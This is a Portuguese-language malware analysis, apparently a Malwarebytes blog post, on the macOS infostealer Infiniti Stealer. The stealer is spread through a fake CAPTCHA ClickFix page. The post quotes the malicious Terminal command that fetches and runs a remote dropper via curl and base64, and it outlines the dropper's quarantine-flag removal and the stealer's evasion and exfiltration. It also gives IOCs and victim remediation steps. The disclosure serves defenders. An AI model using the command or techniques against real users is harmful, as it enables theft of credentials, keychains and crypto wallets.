Um infostealer para macOS até então não documentado surgiu durante nossa busca rotineira por ameaças. Inicialmente, o rastreamos como NukeChain, mas pouco antes da publicação, o painel de controle do malware tornou-se visível ao público, revelando seu nome verdadeiro: Infiniti Stealer.
Esse malware foi criado para roubar dados confidenciais de computadores Mac. Ele se espalha por meio de uma página falsa de CAPTCHA que induz os usuários a executarem um comando por conta própria: uma técnica conhecida como ClickFix. Em vez de explorar uma falha de segurança, ele se baseia em engenharia social.
A carga útil final é escrita em Python e compilada com o Nuitka, gerando um binário nativo do macOS. Isso torna-a mais difícil de analisar e detectar do que o malware típico baseado em Python.
Pelo que sabemos, esta é a primeira campanha documentada no macOS que combina a distribuição do ClickFix com um programa de roubo de dados em Python compilado pelo Nuitka.
ClickFix: engenharia social em vez de vulnerabilidades
O ClickFix não depende de vulnerabilidades de software. Em vez disso, ele depende de convencer o usuário a executar um comando por conta própria.
Uma página de verificação falsa instrui o visitante a abrir o Terminal, colar um comando e pressionar Return. Uma vez executado, o processo de infecção começa imediatamente. A técnica ganhou popularidade em Windows , mas agora está sendo adaptada para o macOS, com instruções específicas para a plataforma: Command + Space > abrir o Terminal > colar o comando
Como o usuário executa o comando diretamente, muitas defesas tradicionais são contornadas. Não há exploração de vulnerabilidades, nem anexo malicioso, nem download automático.
Entrega de CAPTCHA falso
A infecção começa em update-check[.]com, que exibe uma réplica convincente de uma página de verificação manual do Cloudflare.

A página orienta o usuário a colar um comando de verificação no Terminal:bash <(curl -sSfL $(echo aHR0cHM6Ly91cGRhdGUtY2hlY2suY29tL20vN2Q4ZGYyN2Q5NWQ5 | base64 --decode))

Uma vez decodificada, a sequência de caracteres resulta em uma URL hospedada no mesmo domínio, que retorna o script dropper da primeira fase.
Fase 1: Bash Dropper
A primeira carga útil é um script Bash que utiliza um modelo observado anteriormente em programas de roubo de dados para macOS, como o MacSync (também referido como SHub em pesquisas anteriores). Isso sugere o uso de um gerador compartilhado.
Suas funções são simples:
- Decodificar a carga útil incorporada
- Grave o arquivo binário do Stage-2 em
/tmp - Remova o sinalizador de quarentena usando
xattr -dr com.apple.quarantine - Execute o arquivo binário através de
nohup - Passe o servidor de comando e controle (C2) e o token de autenticação como variáveis de ambiente
- Excluir o próprio programa e fechar o Terminal usando o AppleScript
Fase 2: Nuitka Loader
O arquivo binário fornecido é um executável Mach-O para Apple Silicon (~8,6 MB), compilado usando o modo onefile do Nuitka.
Seu cabeçalho contém a assinatura:
4b 41 59 28 b5 2f fd
Isso corresponde a um KAY ( um cabeçalho seguido por um arquivo compactado com zstd, utilizado pelo Nuitka para empacotar aplicativos Python.
Ao contrário do PyInstaller, o Nuitka compila o código-fonte Python para C e gera um binário nativo, o que aumenta a complexidade da análise estática.
Durante a execução, o carregador descompacta cerca de 35 MB de dados incorporados e inicia a carga útil final.
Etapa 3: Carga útil do Python Stealer
A carga útil final, UpdateHelper[.]bin, é um programa de roubo de dados escrito em Python 3.11 e compilado com o Nuitka.

Apesar da compilação, o binário expõe milhares de símbolos nomeados, permitindo que sua estrutura de módulos seja reconstruída durante a análise.
O programa malicioso tem como alvo uma ampla variedade de dados confidenciais:
- Credenciais de navegadores baseados no Chromium e do Firefox
- Entradas do Keychain do macOS
- Carteiras de criptomoedas
- Segredos em texto simples em arquivos de desenvolvedor, como o .env
- Capturas de tela feitas durante a execução
Os dados são extraídos por meio de solicitações HTTP POST.
Antes de iniciar a coleta de dados, o malware verifica se está sendo executado em ambientes de análise conhecidos, incluindo:
- any.run
- Joe Sandbox
- Análise híbrida
- VMware
- VirtualBox
Além disso, introduz um atraso de execução aleatório para burlar os sistemas de análise automatizados.
Quando a exfiltração for concluída, uma função chamada upload_complete() envia uma notificação do Telegram ao operador e coloca as credenciais capturadas na fila para a quebra de senhas no servidor.
O que fazer se você acredita ter sido afetado
A percepção de que o macOS é um alvo de baixo risco para malware continua a desaparecer.
O Infiniti Stealer mostra como técnicas que funcionavam no Windows— como o ClickFix — estão agora sendo adaptadas para atingir Mac .
Além disso, ele utiliza técnicas mais recentes, como a compilação de Python em aplicativos nativos, o que torna o malware mais difícil de detectar e analisar. Se essa abordagem se mostrar eficaz, poderemos ver mais ataques como esse.
Se você seguiu instruções como esta ou colou comandos no Terminal a partir de um site, tome medidas imediatamente:
- Pare de usar o dispositivo para atividades confidenciais (operações bancárias, e-mail, contas de trabalho).
- Altere suas senhas em um dispositivo limpo, começando pelo e-mail, serviços bancários e Apple ID.
- Revogar acesso: encerrar as sessões ativas e revogar tokens de API e chaves SSH
- Verifique se há arquivos suspeitos em
/tmpe~/Library/LaunchAgents/ - Execute uma Malwarebytes completa Malwarebytes para detectar e remover qualquer malware remanescente.
Lembre-se: não cole comandos de sites na janela do Terminal. Nenhum CAPTCHA legítimo exige isso.
Indicadores de Compromisso (IOCs)
| Tipo | Valor |
|---|---|
| Dropper MD5 | da73e42d1f9746065f061a6e85e28f0c |
| SHA256 - Etapa 3 | 1e63be724bf651bb17bcf181d11bacfabef6a6360dcdfda945d6389e80f2b958 |
| domínio C2 | update-check[.]com |
| C2 URL | https://update-check[.]com/m/7d8df27d95d9 |
| Painel C2 | Infiniti-stealer[.]com |
| A magia dos Packers | 4b 41 59 28 b5 2f fd (KAY + zstd) |
| Registro de depuração | /tmp/.bs_debug.log |
| Caminho temporário | /tmp/.2835b1b5098587a9XXXXXX (prefixo fixo, sufixo aleatório) |
Agradecimentos
Agradecemos a Marcelo Rivero pela análise binária.
Não nos limitamos a informar sobre as ameaças, nós as removemos
Os riscos de segurança cibernética nunca devem se espalhar além de uma manchete. Mantenha as ameaças longe de seus dispositivos fazendo o download Malwarebytes hoje mesmo.




